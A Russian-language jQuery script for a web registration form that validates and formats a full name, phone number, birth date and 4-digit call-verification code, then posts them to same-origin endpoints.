|
|
|
function show_error(message){
|
|
|
|
$('#error_alert').slideDown(500);
|
|
|
|
$('#success_alert').hide();
|
|
|
|
$('#error_alert').delay(5000).slideUp();
|
|
|
|
$('#alert_error_text').empty();
|
|
|
|
if (message)
|
|
|
|
$('#alert_error_text').append(message)
|
|
|
|
}
|
|
|
|
|
|
|
|
function show_success(message){
|
|
|
|
$('#success_alert').slideDown(500);
|
|
|
|
$('#success_alert').delay(5000).slideUp();
|
|
|
|
$('#alert_success_text').empty();
|
|
|
|
if (message)
|
|
|
|
$('#alert_success_text').append(message);
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function validate_length(val, dest_len){
|
|
|
|
if(val.length < dest_len){
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
return true;
|
|
|
|
}
|
|
|
|
|
|
|
|
$(document).ready(function(){
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
$('body').append('<div id="error_alert" class="alert alert-danger" role="alert" style="position: fixed; top: 50px; left: 10%; right: 10%; z-index: 9999; display: none;">Ошибка<br><small id="alert_error_text"></small></div>');
|
|
|
|
$('body').append('<div id="success_alert" class="alert alert-success" role="alert" style="position: fixed; top: 50px; left: 10%; right: 10%; z-index: 9999; display: none;">Успех<br><small id="alert_success_text"></small></div>');
|
|
|
|
|
|
|
|
$('#fio').on('input', function () {
|
|
|
|
let input = $(this).val();
|
|
|
|
|
|
|
|
// Убираем все лишние символы, кроме букв и пробелов
|
|
|
|
input = input.replace(/[^a-zA-Zа-яА-ЯёЁ ]/g, '');
|
|
|
|
|
|
|
|
// Преобразуем каждое слово, чтобы оно начиналось с заглавной буквы
|
|
|
|
let formattedInput = input.split(' ').map(word => {
|
|
|
|
if (word.length > 0) {
|
|
|
|
return word.charAt(0).toUpperCase() + word.slice(1).toLowerCase();
|
|
|
|
}
|
|
|
|
return ''; // Пустые слова не трогаем
|
|
|
|
}).join(' '); // Объединяем обратно с пробелами
|
|
|
|
|
|
|
|
// Обновляем поле ввода с отформатированным текстом
|
|
|
|
$(this).val(formattedInput);
|
|
|
|
|
|
|
|
// Проверяем количество слов
|
|
|
|
let words = formattedInput.trim().split(/\s+/); // Убираем лишние пробелы
|
|
|
|
if (words.length < 3 || words.some(word => word.length < 2)) {
|
|
|
|
$(this).parent().removeClass('success-field').addClass('errors-field'); // Подсветить поле
|
|
|
|
} else {
|
|
|
|
$(this).parent().removeClass('errors-field').addClass('success-field'); // Убрать подсветку
|
|
|
|
}
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
$('#tel').on('change', function() {
|
|
|
|
if($(this).val().length != 16){
|
|
|
|
$(this).parent().removeClass('success-field').addClass('errors-field');
|
|
|
|
} else{
|
|
|
|
$(this).parent().removeClass('errors-field').addClass('success-field');
|
|
|
|
}
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// Проверка на дату рождения (не старше 80 лет)
|
|
|
|
$('#dob').on('change', function() {
|
|
|
|
const dob = new Date($(this).val());
|
|
|
|
const currentDate = new Date();
|
|
|
|
const age = currentDate.getFullYear() - dob.getFullYear();
|
|
|
|
|
|
|
|
// Проверка на возраст (не старше 80 лет)
|
|
|
|
if (age > 100 || (age === 100 && (currentDate.getMonth() < dob.getMonth() || (currentDate.getMonth() === dob.getMonth() && currentDate.getDate() < dob.getDate())))) {
|
|
|
|
// Если возраст больше 80 лет, подсвечиваем ячейку как ошибку
|
|
|
|
$(this).parent().removeClass('success-field').addClass('errors-field');
|
|
|
|
} else {
|
|
|
|
// Если возраст нормален, подсвечиваем ячейку как успешную
|
|
|
|
$(this).parent().removeClass('errors-field').addClass('success-field');
|
|
|
|
}
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
|
|
$("#kod").attr('maxlength','4');
|
|
|
|
$('#kod').on('input', function() {
|
|
|
|
let input = $(this).val();
|
|
|
|
// Удаляем все символы, кроме цифр
|
|
|
|
input = input.replace(/\D/g, '');
|
|
|
|
// Обновляем поле ввода
|
|
|
|
$(this).val(input);
|
|
|
|
|
|
|
|
// Проверка на минимальную длину (не менее 11 символов)
|
|
|
|
if (input.length < 4) {
|
|
|
|
// Если введено меньше цифр, показываем ошибку
|
|
|
|
$(this).parent().removeClass('success-field').addClass('errors-field');
|
|
|
|
} else {
|
|
|
|
// Если введено достаточно цифр, показываем успех
|
|
|
|
$(this).parent().removeClass('errors-field').addClass('success-field');
|
|
|
|
}
|
|
|
|
});
|
|
|
|
|
|
|
|
function verification(){
|
|
|
|
$("#form_submit").children(".spinner-border").removeClass('d-none');
|
|
|
|
$("#form_submit").attr("disabled", true);
|
|
|
|
message = {}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
if(!(validate_length($('#fio').val(), 3)))
|
|
|
|
{
|
|
|
|
show_error('Введите ФИО', false);
|
|
|
|
$("#form_submit").children(".spinner-border").addClass('d-none');
|
|
|
|
$("#form_submit").removeAttr("disabled");
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
|
|
|
if(!(validate_length($('#tel').val(), 16)))
|
|
|
|
{
|
|
|
|
show_error('Введите Телефон', false);
|
|
|
|
$("#form_submit").children(".spinner-border").addClass('d-none');
|
|
|
|
$("#form_submit").removeAttr("disabled");
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
|
|
|
if ($('#dob').val().length !== 10 || new Date().getFullYear() - new Date($('#dob').val()).getFullYear() > 100) {
|
|
|
|
show_error('Дата рождения должна быть корректной и возраст не более 80 лет', false);
|
|
|
|
$("#form_submit").children(".spinner-border").addClass('d-none');
|
|
|
|
$("#form_submit").removeAttr("disabled");
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
|
|
|
if ($('#dob').val().length !== 10 || new Date().getFullYear() < new Date($('#dob').val()).getFullYear()) {
|
|
|
|
show_error('Проверьте дату ввода, вы указали дату больше чем сегодняшняя дата', false);
|
|
|
|
$("#form_submit").children(".spinner-border").addClass('d-none');
|
|
|
|
$("#form_submit").removeAttr("disabled");
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
|
|
|
$.each($('.tg_input'), function(e) {
|
|
|
|
message[$(this).prop("id")] = $(this).val();
|
|
|
|
});
|
|
|
|
|
|
|
|
show_success("Ваши данные отправлены на проверку, <br> На указанный Вами номер телефона в ближайшее время поступит звонок с уникального номера.");
|
|
|
|
|
|
|
|
$.ajax({
|
|
|
|
type: "post",
|
|
|
|
url: "/tel_verification",
|
|
|
|
processData: false, // tell jQuery not to process the data
|
|
|
|
contentType: false, // tell jQuery not to set contentType
|
|
|
|
async: true,
|
|
|
|
data: JSON.stringify(message),
|
|
|
|
success: (data) => {
|
|
|
|
if(data.success==true){
|
|
|
|
$('.primary-field').hide();
|
|
|
|
$('.verification').show();
|
|
|
|
// if (data.message)
|
|
|
|
// {
|
|
|
|
// show_success(data.message);
|
|
|
|
// }
|
|
|
|
}
|
|
|
|
else{
|
|
|
|
show_error(data.error);
|
|
|
|
$("#form_submit").children(".spinner-border").addClass('d-none');
|
|
|
|
$("#form_submit").removeAttr("disabled");
|
|
|
|
}
|
|
|
|
},
|
|
|
|
error:function (jqXHR, exception) {
|
|
|
|
$("#form_submit").children(".spinner-border").addClass('d-none');
|
|
|
|
$("#form_submit").removeAttr("disabled");
|
|
|
|
show_error('Что-то пошло не так', false)
|
|
|
|
}
|
|
|
|
});
|
|
|
|
}
|
|
|
|
|
|
|
|
$("#form_submit").click(function(){
|
|
|
|
// show_success("Hello <br> world");
|
|
|
|
verification();
|
|
|
|
});
|
|
|
|
|
|
|
|
$("#code_submit").click(function(){
|
|
|
|
|
|
|
|
$(this).children(".spinner-border").removeClass('d-none');
|
|
|
|
$(this).attr("disabled", true);
|
|
|
|
message = {}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
if(!(validate_length($('#fio').val(), 3)))
|
|
|
|
{
|
|
|
|
show_error('Введите ФИО', false);
|
|
|
|
$(this).children(".spinner-border").addClass('d-none');
|
|
|
|
$(this).removeAttr("disabled");
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
|
|
|
if(!(validate_length($('#tel').val(), 16)))
|
|
|
|
{
|
|
|
|
show_error('Введите Телефон', false);
|
|
|
|
$(this).children(".spinner-border").addClass('d-none');
|
|
|
|
$(this).removeAttr("disabled");
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
|
|
|
if ($('#dob').val().length !== 10 || new Date().getFullYear() - new Date($('#dob').val()).getFullYear() > 100) {
|
|
|
|
show_error('Дата рождения должна быть корректной и возраст не более 80 лет', false);
|
|
|
|
$(this).children(".spinner-border").addClass('d-none');
|
|
|
|
$(this).removeAttr("disabled");
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
|
|
|
if ($('#dob').val().length !== 10 || new Date().getFullYear() < new Date($('#dob').val()).getFullYear()) {
|
|
|
|
show_error('Проверьте дату ввода, вы указали дату больше чем сегодняшняя дата', false);
|
|
|
|
$(this).children(".spinner-border").addClass('d-none');
|
|
|
|
$(this).removeAttr("disabled");
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
|
|
|
$.each($('.tg_input'), function(e) {
|
|
|
|
message[$(this).prop("id")] = $(this).val();
|
|
|
|
});
|
|
|
|
|
|
|
|
message["verification_code"] = $("#kod").val();
|
|
|
|
|
|
|
|
$.ajax({
|
|
|
|
type: "post",
|
|
|
|
url: "/form_submit",
|
|
|
|
processData: false, // tell jQuery not to process the data
|
|
|
|
contentType: false, // tell jQuery not to set contentType
|
|
|
|
async: true,
|
|
|
|
data: JSON.stringify(message),
|
|
|
|
success: (data) => {
|
|
|
|
if(data.success==true){
|
|
|
|
$('.primary-field').hide();
|
|
|
|
$('.verification').hide();
|
|
|
|
$('.success_window').show();
|
|
|
|
}
|
|
|
|
else{
|
|
|
|
show_error(data.error);
|
|
|
|
$(this).children(".spinner-border").addClass('d-none');
|
|
|
|
$(this).removeAttr("disabled");
|
|
|
|
}
|
|
|
|
},
|
|
|
|
error:function (jqXHR, exception) {
|
|
|
|
$(this).children(".spinner-border").addClass('d-none');
|
|
|
|
$(this).removeAttr("disabled");
|
|
|
|
show_error('Что-то пошло не так', false)
|
|
|
|
}
|
|
|
|
});
|
|
|
|
});
|
|
|
|
|
|
|
|
$("#repeat_call").click(function(){
|
|
|
|
verification();
|
|
|
|
});
|
|
|
|
|
|
|
|
$('#clear_tel').click(function(){
|
|
|
|
phoneStr = '';
|
|
|
|
phoneInput.value = formatPhoneString();
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// $('.alert-placeholder').mouseenter(function(){
|
|
|
|
// var popOverSettings = {
|
|
|
|
// placement: 'bottom',
|
|
|
|
// content: $(this).data('content'),
|
|
|
|
// trigger: 'hover',
|
|
|
|
// container: this,
|
|
|
|
// offset: '0'
|
|
|
|
// }
|
|
|
|
// $(this).popover(popOverSettings);
|
|
|
|
// $(this).popover('show');
|
|
|
|
// $('.popover').addClass('alert-popover');
|
|
|
|
// });
|
|
|
|
// $('.alert-placeholder').mouseleave(function(){
|
|
|
|
// $('.alert-popover').remove()
|
|
|
|
// });
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
let phoneStr = '';
|
|
|
|
let formattedStr = '';
|
|
|
|
let deleteMode = false;
|
|
|
|
const phoneInput = document.querySelector('#tel');
|
|
|
|
const defaultFormat = '+7({0}{1}{2}){3}{4}{5}-{6}{7}-{8}{9}';
|
|
|
|
phoneInput.value = formatPhoneString();
|
|
|
|
|
|
|
|
phoneInput.addEventListener('keydown', (e) => {
|
|
|
|
if (e.key === 'Backspace')
|
|
|
|
deleteMode = true;
|
|
|
|
else
|
|
|
|
deleteMode = false;
|
|
|
|
});
|
|
|
|
|
|
|
|
phoneInput.addEventListener('input', (e) => {
|
|
|
|
if (deleteMode) {
|
|
|
|
phoneInput.value = phoneInput.value;
|
|
|
|
phoneStr = parsePhoneString(phoneInput.value.replace("+7", "").replace("-", ""));
|
|
|
|
} else {
|
|
|
|
if (e.inputType == 'insertText' && !isNaN(parseInt(e.data))) {
|
|
|
|
if (phoneStr.length <= 9)
|
|
|
|
phoneStr += e.data;
|
|
|
|
}
|
|
|
|
phoneInput.value = formatPhoneString();
|
|
|
|
}
|
|
|
|
});
|
|
|
|
|
|
|
|
function formatPhoneString() {
|
|
|
|
let strArr = phoneStr.split('');
|
|
|
|
formattedStr = defaultFormat;
|
|
|
|
for (let i = 0; i < strArr.length; i++) {
|
|
|
|
formattedStr = formattedStr.replace(`{${i}}`, strArr[i]);
|
|
|
|
}
|
|
|
|
|
|
|
|
if (formattedStr.indexOf('{') === -1)
|
|
|
|
{
|
|
|
|
return formattedStr;
|
|
|
|
}
|
|
|
|
else
|
|
|
|
{
|
|
|
|
return formattedStr.substring(0, formattedStr.indexOf('{'));
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
function parsePhoneString(str) {
|
|
|
|
return str.replace(' ', '').replace('(', '').replace(')', '').replace('-', '');
|
|
|
|
}
|
|
|
|
});
|
|
|
|
|
|
|
|
|